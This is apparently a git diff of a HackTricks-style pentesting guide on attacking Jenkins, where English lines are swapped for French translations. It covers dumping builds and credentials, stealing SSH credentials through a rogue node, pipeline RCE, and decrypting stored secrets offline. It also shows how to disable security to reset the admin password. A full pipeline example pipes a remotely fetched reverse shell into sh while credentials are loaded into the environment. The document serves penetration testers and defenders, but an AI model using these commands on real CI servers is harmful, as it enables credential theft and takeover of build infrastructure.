> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
> En fonction du mécanisme **d'autorisation** configuré dans Jenkins et des permissions de l'utilisateur compromis, vous **pourriez être en mesure ou non de réaliser les attaques suivantes.**
|
||||
|
||||
For more information check the basic information:
|
||||
Pour plus d'informations, consultez les informations de base :
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Listing users
|
||||
### Liste des utilisateurs
|
||||
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enregistrés à [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
### Dumping des builds pour trouver des secrets en clair
|
||||
|
||||
Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver des secrets en clair.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Vol de Credentials SSH**
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les credentials SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces credentials** en créant/modifiant un nœud et en **définissant un hôte qui enregistrera les credentials** sans vérifier la clé de l'hôte :
|
||||
|
||||
.png>)
|
||||
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
Vous trouverez généralement les credentials ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).
|
||||
|
||||
### **RCE in Jenkins**
|
||||
### **RCE dans Jenkins**
|
||||
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées sur le même réseau ou même de **rassembler des credentials cloud**.
|
||||
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
Par défaut, Jenkins s'exécute **en tant que SYSTEM**. Donc, le compromettre donnera à l'attaquant **des privilèges SYSTEM**.
|
||||
|
||||
### **RCE Creating/Modifying a project**
|
||||
### **RCE Création/Modification d'un projet**
|
||||
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
Créer/Modifier un projet est un moyen d'obtenir RCE sur le serveur Jenkins :
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Execute Groovy script**
|
||||
### **RCE Exécution de script Groovy**
|
||||
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus discret que de créer un nouveau projet :
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Creating/Modifying Pipeline
|
||||
### RCE Création/Modification de Pipeline
|
||||
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
Vous pouvez également obtenir **RCE en créant/modifiant un pipeline** :
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pipeline Exploitation
|
||||
## Exploitation de Pipeline
|
||||
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.
|
||||
|
||||
### Build Pipelines
|
||||
### Pipelines de Construction
|
||||
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, un **fichier à l'intérieur du dépôt** peut être configuré pour contenir la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :
|
||||
|
||||
.png>)
|
||||
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'accès au dépôt et l'accès au pipeline.
|
||||
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
Si un attaquant a **un accès en écriture sur ce fichier**, il pourra **le modifier** et **potentiellement déclencher** le pipeline sans même avoir accès à Jenkins.\
|
||||
Il est possible que l'attaquant doive **contourner certaines protections de branche** (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).
|
||||
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :
|
||||
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
- **Demande de tirage** vers la branche principale (ou potentiellement vers d'autres branches)
|
||||
- **Pousser vers la branche principale** (ou potentiellement vers d'autres branches)
|
||||
- **Mettre à jour la branche principale** et attendre qu'elle soit exécutée d'une manière ou d'une autre
|
||||
|
||||
> [!NOTE]
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
> Si vous êtes un **utilisateur externe**, vous ne devriez pas vous attendre à créer une **PR vers la branche principale** du dépôt d'un **autre utilisateur/organisation** et **déclencher le pipeline**... mais si c'est **mal configuré**, vous pourriez complètement **compromettre des entreprises juste en exploitant cela**.
|
||||
|
||||
### Pipeline RCE
|
||||
### RCE de Pipeline
|
||||
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
Dans la section RCE précédente, une technique a déjà été indiquée pour [**obtenir RCE en modifiant un pipeline**](./#rce-creating-modifying-pipeline).
|
||||
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
### Vérification des variables d'environnement
|
||||
|
||||
Il est possible de déclarer des **variables d'environnement en texte clair** pour l'ensemble du pipeline ou pour des étapes spécifiques. Ces variables d'environnement **ne devraient pas contenir d'informations sensibles**, mais un attaquant pourrait toujours **vérifier toutes les configurations de pipeline/Jenkinsfiles** :
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
|
||||
### Dumping secrets
|
||||
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
Les identifiants peuvent être **scopés aux fournisseurs globaux** (`/credentials/`) ou à des **projets spécifiques** (`/job/<project-name>/configure`). Par conséquent, pour exfiltrer tous les identifiants, vous devez **compromettre au moins tous les projets** qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.
|
||||
|
||||
Il y a un autre problème, pour obtenir un **secret à l'intérieur de l'env** d'un pipeline, vous devez **connaître le nom et le type du secret**. Par exemple, si vous essayez de **charger** un **secret** **`usernamePassword`** en tant que **secret** **`string`**, vous obtiendrez cette **erreur** :
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
Voici comment charger certains types de secrets courants :
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
À la fin de cette page, vous pouvez **trouver tous les types de credentials** : [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
> La meilleure façon de **vider tous les secrets en une seule fois** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **fuir** les **clés maîtresses** et les **secrets chiffrés** et de les déchiffrer hors ligne.\
|
||||
> Plus d'informations sur la façon de faire cela dans la [section Nodes & Agents](./#nodes-and-agents) et dans la [section Post Exploitation](./#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
### Déclencheurs
|
||||
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **modes automatisés par lesquels le Pipeline doit être relancé**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les déclencheurs actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
|
||||
|
||||
Exemple de Cron :
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Vérifiez **d'autres exemples dans la documentation**.
|
||||
|
||||
Check **other examples in the docs**.
|
||||
### Nœuds & Agents
|
||||
|
||||
### Nodes & Agents
|
||||
Une **instance Jenkins** peut avoir **différents agents fonctionnant sur différentes machines**. Du point de vue d'un attaquant, l'accès à différentes machines signifie **différentes potentielles informations d'identification cloud** à voler ou **différents accès réseau** qui pourraient être abusés pour exploiter d'autres machines.
|
||||
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
Pour plus d'informations, consultez les informations de base :
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud Intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :
|
||||
|
||||
.png>)
|
||||
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
Il est **particulièrement intéressant de compromettre le nœud intégré** car il contient des informations sensibles sur Jenkins.
|
||||
|
||||
Pour indiquer que vous souhaitez **exécuter** le **pipeline** dans le **nœud Jenkins intégré**, vous pouvez spécifier dans le pipeline la configuration suivante :
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Exemple complet
|
||||
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
Pipeline dans un agent spécifique, avec un déclencheur cron, avec des variables d'environnement de pipeline et de stage, chargeant 2 variables dans une étape et envoyant un reverse shell :
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
## Lecture de fichiers arbitraires à RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -329,40 +309,37 @@ jenkins-rce-creating-modifying-pipeline.md
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Secrets Jenkins
|
||||
|
||||
### Jenkins Secrets
|
||||
Vous pouvez lister les secrets en accédant à `/credentials/` si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** peuvent également contenir **plus de credentials**.
|
||||
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
Si vous pouvez **voir la configuration de chaque projet**, vous pouvez également y voir les **noms des credentials (secrets)** utilisés pour accéder au dépôt et **d'autres credentials du projet**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### From Groovy
|
||||
#### Depuis Groovy
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### Depuis le disque
|
||||
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
Ces fichiers sont nécessaires pour **décrypter les secrets Jenkins** :
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Such **secrets can usually be found in**:
|
||||
Ces **secrets peuvent généralement être trouvés dans** :
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Here's a regex to find them:
|
||||
|
||||
Voici une regex pour les trouver :
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Décrypter les secrets Jenkins hors ligne
|
||||
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
Si vous avez extrait **les mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
#### Décrypter les secrets Jenkins depuis Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Créer un nouvel utilisateur administrateur
|
||||
|
||||
### Create new admin user
|
||||
1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
|
||||
2. Recherchez le mot `<useSecurity>true</useSecurity>` et changez le mot **`true`** en **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Redémarrez** le serveur **Jenkins** : `service jenkins restart`
|
||||
4. Maintenant, allez à nouveau sur le portail Jenkins et **Jenkins ne demandera aucune information d'identification** cette fois. Vous naviguez vers "**Gérer Jenkins**" pour définir à nouveau le **mot de passe administrateur**.
|
||||
5. **Activez** à nouveau la **sécurité** en changeant les paramètres en `<useSecurity>true</useSecurity>` et **redémarrez à nouveau Jenkins**.
|
||||
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -410,6 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,87 +1,87 @@
|
||||
# Basic Jenkins Information
|
||||
# Informations de base sur Jenkins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Accès
|
||||
|
||||
### Username + Password
|
||||
### Nom d'utilisateur + Mot de passe
|
||||
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
La manière la plus courante de se connecter à Jenkins est avec un nom d'utilisateur ou un mot de passe.
|
||||
|
||||
### Cookie
|
||||
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
Si un **cookie autorisé est volé**, il peut être utilisé pour accéder à la session de l'utilisateur. Le cookie est généralement appelé `JSESSIONID.*`. (Un utilisateur peut terminer toutes ses sessions, mais il doit d'abord découvrir qu'un cookie a été volé).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
Jenkins peut être configuré à l'aide de plugins pour être **accessible via un SSO tiers**.
|
||||
|
||||
### Tokens
|
||||
### Jetons
|
||||
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
**Les utilisateurs peuvent générer des jetons** pour donner accès aux applications afin de les usurper via CLI ou REST API.
|
||||
|
||||
### SSH Keys
|
||||
### Clés SSH
|
||||
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
Ce composant fournit un serveur SSH intégré pour Jenkins. C'est une interface alternative pour le [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), et les commandes peuvent être invoquées de cette manière en utilisant n'importe quel client SSH. (D'après les [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Authorization
|
||||
## Autorisation
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
Dans `/configureSecurity`, il est possible de **configurer la méthode d'autorisation de Jenkins**. Il existe plusieurs options :
|
||||
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
- **Tout le monde peut tout faire** : Même l'accès anonyme peut administrer le serveur.
|
||||
- **Mode hérité** : Identique à Jenkins <1.164. Si vous avez le **rôle "admin"**, vous aurez **un contrôle total** sur le système, et **sinon** (y compris les utilisateurs **anonymes**), vous aurez un accès **en lecture**.
|
||||
- **Les utilisateurs connectés peuvent tout faire** : Dans ce mode, chaque **utilisateur connecté obtient un contrôle total** de Jenkins. Le seul utilisateur qui n'aura pas un contrôle total est **l'utilisateur anonyme**, qui n'obtient qu'un **accès en lecture**.
|
||||
- **Sécurité basée sur une matrice** : Vous pouvez configurer **qui peut faire quoi** dans un tableau. Chaque **colonne** représente une **permission**. Chaque **ligne** **représente** un **utilisateur ou un groupe/rôle.** Cela inclut un utilisateur spécial '**anonyme**', qui représente **les utilisateurs non authentifiés**, ainsi que '**authentifié**', qui représente **tous les utilisateurs authentifiés**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
- **Stratégie d'autorisation basée sur les projets :** Ce mode est une **extension** à "**la sécurité basée sur une matrice**" qui permet de définir une matrice ACL supplémentaire pour **chaque projet séparément.**
|
||||
- **Stratégie basée sur les rôles :** Permet de définir des autorisations en utilisant une **stratégie basée sur les rôles**. Gérez les rôles dans `/role-strategy`.
|
||||
|
||||
## **Security Realm**
|
||||
## **Royaume de sécurité**
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
Dans `/configureSecurity`, il est possible de **configurer le royaume de sécurité.** Par défaut, Jenkins inclut le support de quelques royaumes de sécurité différents :
|
||||
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
- **Déléguer au conteneur de servlets** : Pour **déléguer l'authentification à un conteneur de servlets exécutant le contrôleur Jenkins**, tel que [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Base de données utilisateur propre à Jenkins :** Utilisez **le magasin de données utilisateur intégré de Jenkins** pour l'authentification au lieu de déléguer à un système externe. Cela est activé par défaut.
|
||||
- **LDAP** : Déléguer toute l'authentification à un serveur LDAP configuré, y compris les utilisateurs et les groupes.
|
||||
- **Base de données utilisateur/groupe Unix** : **Délègue l'authentification à la base de données utilisateur au niveau du système d'exploitation Unix sous-jacent sur le contrôleur Jenkins.** Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
|
||||
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
Les plugins peuvent fournir des royaumes de sécurité supplémentaires qui peuvent être utiles pour intégrer Jenkins dans des systèmes d'identité existants, tels que :
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Authentification GitHub](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
## Nœuds, Agents et Exécuteurs Jenkins
|
||||
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Définitions des [docs](https://www.jenkins.io/doc/book/managing/nodes/) :
|
||||
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
